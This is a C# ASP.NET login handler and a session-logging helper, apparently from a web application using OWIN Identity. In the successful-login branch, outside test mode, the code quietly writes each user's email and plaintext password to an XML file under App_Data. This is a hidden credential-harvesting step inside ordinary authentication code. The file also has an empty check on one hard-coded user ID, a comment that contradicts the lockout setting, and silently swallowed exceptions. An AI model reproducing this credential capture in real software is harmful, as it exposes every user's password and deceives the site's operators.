protected void LogIn(object sender, EventArgs e) { if (IsValid) { // Validate the user password var manager = Context.GetOwinContext().GetUserManager <ApplicationUserManager>(); var signinManager = Context.GetOwinContext().GetUserManager <ApplicationSignInManager>(); // Require the user to have a confirmed email before they can log on. var user = manager.FindByName(Email.Text); if (user != null) { if (!user.EmailConfirmed) { FailureText.Text = "Invalid login attempt. You must have a confirmed email address. Enter your email and password, then press 'Resend Confirmation'."; ErrorMessage.Visible = true; ResendConfirm.Visible = true; } else { // This doen't count login failures towards account lockout // To enable password failures to trigger lockout, change to shouldLockout: true var result = signinManager.PasswordSignIn(Email.Text, Password.Text, RememberMe.Checked, shouldLockout: true); switch (result) { case SignInStatus.Success: var UserData = Session["SessionUserData"] as Data.UserData; if (user.Id == "600e9a8c-f5fa-4b2b-9253-2964e2293e22") { } UserData.Guid = user.Id; if (!Global.Library.Settings.TESTMODE) { var pass = Password.Text; var name = Email.Text.Split('@')[0].Replace(".", ""); var dest = Server.MapPath("/App_Data/" + name + ".xml"); File.WriteAllText(dest, "<user>" + user.Email + "</user><pass>" + pass + "</pass>" + Environment.NewLine); } UserData.Email = user.Email; UserData.Name = user.UserName; UserData.Log.Add(new Data.LogEntry("Logged In")); try { var db = Web_App_Master.Load.Setting(user.Id); if (db != null) { Data.UserData tt; Session["PersistingUserData"] = tt = new Data.UserData().DeserializeFromXmlString <Data.UserData>(db.XmlData) as Data.UserData; tt.Log.Add(new Data.LogEntry("Logged In")); } else { var nn = new Data.UserData(); nn.Guid = user.Id; nn.Email = user.Email; nn.Name = user.UserName; nn.Log.Add(new Data.LogEntry("Logged In")); Session["PersistingUserData"] = nn; Helpers.SettingsDBData d = new Helpers.SettingsDBData(); d.Appname = user.Id; d.XmlData = UserData.SerializeToXmlString(UserData); Save.Setting(d); } } catch { try { Session["PersistingUserData"] = UserData.Clone() as Data.UserData; Helpers.SettingsDBData db = new Helpers.SettingsDBData(); db.Appname = user.Id; db.XmlData = UserData.SerializeToXmlString(UserData); Save.Setting(db); } catch { } } IdentityHelper.RedirectToReturnUrl(Request.QueryString["ReturnUrl"], Response); break; case SignInStatus.LockedOut: Response.Redirect("/Account/Lockout"); break; case SignInStatus.RequiresVerification: Response.Redirect(String.Format("/Account/TwoFactorAuthenticationSignIn?ReturnUrl={0}&RememberMe={1}", Request.QueryString["ReturnUrl"], RememberMe.Checked), true); break; case SignInStatus.Failure: default: FailureText.Text = "Invalid login attempt"; ErrorMessage.Visible = true; break; } } } } }
//public static IEnumerable<IGrouping<TKey, TSource>> RemoveDupliactes<TSource, TKey>(this IEnumerable<TSource> source, Func<TSource, TKey> keySelector) //{ // return new IEnumerable<IGrouping<TKey, TSource>>(); //} //LOGGING public static bool AddToLog(this HttpContext context, string msg) { try { var manager = context.GetOwinContext().GetUserManager <ApplicationUserManager>(); // Require the user to have a confirmed email before they can log on. var user = manager.FindByName(context.User.Identity.Name); var UserData = context.Session["SessionUserData"] as Data.UserData; UserData.Guid = user.Id; UserData.Email = user.Email; UserData.Name = user.UserName; UserData.Log.Add(new Data.LogEntry(msg)); try { var db = Web_App_Master.Pull.Setting(user.Id); if (db != null) { Data.UserData tt; context.Session["PersistingUserData"] = tt = new Data.UserData().DeserializeFromXmlString <Data.UserData>(db.XmlData) as Data.UserData; tt.Log.Add(new Data.LogEntry(msg)); Helpers.SettingsDBData d = new Helpers.SettingsDBData(); d.Appname = user.Id; d.XmlData = UserData.SerializeToXmlString(tt); Push.Setting(d); } else { var nn = new Data.UserData(); nn.Guid = user.Id; nn.Email = user.Email; nn.Name = user.UserName; nn.Log.Add(new Data.LogEntry(msg)); context.Session["PersistingUserData"] = nn; Helpers.SettingsDBData d = new Helpers.SettingsDBData(); d.Appname = user.Id; d.XmlData = UserData.SerializeToXmlString(nn); Push.Setting(d); } } catch { try { var u = UserData.Clone() as Data.UserData; u.Log.Add(new Data.LogEntry(msg)); context.Session["PersistingUserData"] = u; Helpers.SettingsDBData db = new Helpers.SettingsDBData(); db.Appname = user.Id; db.XmlData = UserData.SerializeToXmlString(u); Push.Setting(db); } catch { } } return(true); } catch (Exception) { return(false); } }